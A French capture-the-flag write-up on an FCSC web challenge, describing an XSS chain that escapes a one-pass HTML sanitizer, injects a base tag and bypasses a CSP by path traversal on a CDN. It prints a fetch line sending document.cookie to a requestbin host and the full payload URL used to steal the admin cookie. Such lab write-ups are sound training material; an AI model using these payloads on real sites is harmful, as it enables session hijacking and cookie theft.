Pour sa dernière épreuve dans la catégorie Web, le FCSC nous proposait d’exploiter une vulnérabilité de type Cross-site scripting XSS avec échappement d’une restriction CSP.
Enumération
L’objectif du site web est de permettre à un utilisateur de générer un avatar aléatoire qu’il pourra partager sur Twitter.
On commence par une petite énumération du service web, très rapide car il n’y a que 3 pages :
- index.php, nous permet de générer des « avatar » grâce à du code javascript (sur lequel nous reviendrons plus tard)
- contact.php qui nous permet d’envoyer une page du site à l’admin
- admin.php, la page qui donne le flag, protégée par un mot de passe.
Toutes ces informations nous indiquent que nous avons surement affaire à une faille de sécurité de type XSS (Cross-site scripting).
Maintenant qu’on sait qu’on a affaire à une XSS, on cherche des moyens d’interagir avec une page du site ce qui pourrait nous amener à être en capacité d’injecter du code sur ladite page. On s’intéresse donc tout naturellement à la page permettant de générer un avatar. On regarde comment cette dernière fonctionne. Elle utilise 4 fichiers javascript.
La génération aléatoire de l’avatar se fait au niveau du script app.js. Il nous informe par ailleurs que l’on peut passer 3 paramètres à la page :
On sait maintenant qu’on passe 2 paramètres GET (primary et secondary) ainsi qu’1 paramètre ancre debug à la page. Ces paramètres sont utilisés lors du partage de notre avatar sur twitter afin de préformater le tweet. Les paramètres primary et secondary nous permettent de choisir les couleurs composant notre avatar, tandis que l’ancre debug active un « mode » de débogage du script de génération de l’avatar qui affiche les erreurs qu’il a rencontré, (ce qui est très intéressant pour nous car, pour rappel, nous cherchons à exploiter une vulnérabilité XSS).
En jouant avec ces paramètres, on arrive sans difficulté à afficher notre texte sur la page, mais on s’aperçoit vite que notre injection est soumise à une fonction intitulée sanitizeHtml…
… qu’on arrive à escape en injectant </ »’>, car les caractères interdits ne sont replacés qu’une seule fois (en effet, la méthode replace() de javascript ne replace que la première occurrence dans la chaine de caractères).
On est donc en mesure d’injecter du code html sur la page, seulement on s’aperçoit vite, en injectant des balises <script> et </script> que le code javascript n’est pas interprété. Il va donc falloir trouver un moyen d’exécuter du code javascript en n’injectant que du html.
La balise <base>
En cherchant des pistes qui pourraient amener à l’exécution de code javascript, dans les fichiers javascript du site, je tombe sur un loader « stats.loader.js », qui crée toutes les 1000ms une balise <script> pointant vers assets/js/stats.js. Dans le stats.js, on trouve uniquement un commentaire : //todo.
En ce qui concerne un challenge de CTF, un fichier comme ça n’est pas anodin et doit souvent être exploité (il n’a pas été placé là par hasard).
En partant de cette hypothèse je cherche alors un moyen de « changer » le contenu de ce fichier, car son code est exécuté toutes les 1000 secondes. En cherchant sur Google (comme souvent…), je tombe sur un post sur stack overflow, mentionnant une balise html qui pourrait répondre à mes attentes :
Exactement ce qu’il nous faut ! La balise base nous permet de définir un host et un path par défaut pour tous les attributs src d’une page. Je m’empresse alors de créer mon propre stats.js, de l’uploader sur mon serveur et de l’inclure en posant une balise
<base href=’monsitedehackeur.com/’>
Malheureusement, la requête est bloquée par la CSP… ☹
Bypass de la CSP (Content Security Policy)
La règle qui nous intéresse dans le csp est celle-là :
script-src rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/ ‘self’
car elle nous indique que nous pouvons intégrer n’importe quel script pourvu qu’il soit dans un répertoire / sous répertoire du repo notyf.
En cherchant un peu sur notre outil favori (aka google encore), on tombe sur un trick permettant d’inclure nos propres fichiers js grâce à un path traversal.
//rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%252f..%252f..%252f..%252fhacktheline/magnifique/script.js
Je crée sur mon GitHub un fichier stats.js dans un sous-répertoire assets/js/, j’y place le code javascript suivant, fetch(« http://requestbin.net/r/3zvfjghq?%22+document.cookie, { mode: ‘no-cors’}); qui a pour rôle d’exfiltrer le cookie vers un requestbin. J’obtiens ensuite son url sur githack (attention à bien prendre celle du rawcdn.githack.com)
Je peux donc attaquer la construction de mon payload.
https://avatar-generator.france-cybersecurity-challenge.fr/?seed=%3C%3Cbase%20href=//rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%252f..%252f..%252f..%252fhacktheline/magnifique/assets/js/stats.js?%3E%3E%3C/base%3E&primary=&secondary=#debug
Et on finit par recevoir le cookie de l’administrateur 😊.
On remplace alors notre cookie par celui de l’administrateur, et on obtient (enfin) le flag 😊 😊